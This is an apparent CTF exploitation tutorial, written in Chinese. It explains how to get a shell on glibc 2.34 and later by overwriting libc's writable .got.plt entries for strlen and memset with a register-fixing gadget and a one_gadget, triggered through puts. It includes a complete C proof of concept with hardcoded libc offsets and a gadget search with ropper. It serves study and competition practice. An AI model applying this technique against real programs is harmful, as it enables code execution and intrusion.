一种劫持libc的got表getshell的方法

0x00 前言

在glibc2.34或更高版本,没有了hook用来劫持,所以一般会用IO之类的路子来劫持。如果条件允许,还可以考虑劫持劫持libc的got表来getshell。libc一般是partial relro,所以got表可写。但准确来说,接下来的PoC,其实针对的是劫持.got.plt段执行one gadget而设计的。劫持libcgot的技术还可以结合context的gadget实现rop,后面再深入研究。

0x01 PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include "stdio.h"
#include "stdlib.h"
#include "stdint.h"
#include "string.h"
#include "unistd.h"

int main()
{
// 模拟泄露libc
uint64_t libc_base = &printf - 0x606F0;
printf("libc_base = %p\n", libc_base);

uint64_t gadget = libc_base + 0xb1788;
uint64_t ogg = libc_base + 0xebc88;

// 修改j_strlen
uint64_t j_strlen = libc_base + 0x21A098;
*((uint64_t *)j_strlen) = gadget;

// 修改j_memset
uint64_t j_memset = libc_base + 0x21A188;
*((uint64_t *)j_memset) = ogg;

// getshell
fflush(stdout);
puts("getshell");
_exit(0);
}

PoC运行结果

0x02 分析

puts函数的跟进

PoC最后执行了一个puts函数,并且直接_exit,没法劫持exit_hook。我们去IDA翻一翻puts函数都干了些什么。puts_ida

发现它调用了j_strlen函数,我们跟进看看。j_strlen在pltsec段

继续跟进j_strlen在gotplt段

发现最后来到了.got.plt段。这是一个可读可写的段,所以我们可以通过劫持这个strlen的内容为one gadget,让程序执行到puts的时候,调用的是ogg,从而getshell。

.got.plt段函数的规律

这里我们可以发现一个规律:gotplt段

不难发现这些函数大部分都指向.plt.sec段,并且命名都有j_开头。那么在实际做题的时候思路就很清晰了,我们可以去找我们要劫持的函数会不会调用到这样命名的函数,有的话就有机会通过劫持got表getshell。

劫持strlen后无法getshell

PoC中我并没有直接将strlen劫持为ogg,因为直接劫持是没办法getshell的。下面用一道其他题目的调试过程来展示这一点。

我们先来看ogg:ogg

PoC中我们选择的是0xebc88,也就是说我们要让rsi和rdx都为NULL的情况下,这个ogg才能正常getshell。但是我们运行脚本会发现程序炸了,调试观察看住的地方,发现此时rdx并不为零。ogg条件不满足

那么我们就要想办法使rdx为0。当然这里调整ogg条件的方法不止一种,毕竟ogg不止这一个,还可以通过调栈的方法满足条件,这个具体视题目条件而定。

调整寄存器状态满足ogg条件

回到这里,其实PoC的情况和上述情况差不多,也是rdx不为0导致的程序出错。解决思路是,找到形如mov rdx , rsi; call xxx这样的gadget,将其地址写入到strlen的got中,然后在xxx的got表中写入ogg地址。我们用ropper -f libc.so.6 -search "mov rdx, rsi"找一下gadget。gadget

发现有两条符合的gadget,但是上面那个gadget会导致rsi被改变为2,所以不能用。所以我们将0xb1788的gadget写到strlen的got中。在IDA中查看一下0x28670处,发现是memset的.plt.sec,因此我们只要将memset的got表改为ogg即可。顺带一提,下面那个gadget是explicit_bzero函数中的。

gadget出处

于是就有了PoC那样的劫持步骤。

总结一下:

  1. 泄露libc地址
  2. 劫持strlen的got表,写入explicit_bzero的gadget
  3. 劫持memset的got表,写入one gadget
  4. 执行puts函数getshell

实际题目中,我们要劫持的函数不一定是puts函数,可以是stack_chk_fail或者其他的,只要调用了got表函数,能满足ogg条件,都能劫持。甚至为了满足ogg条件,可以凑一条调用链出来。

⬆︎TOP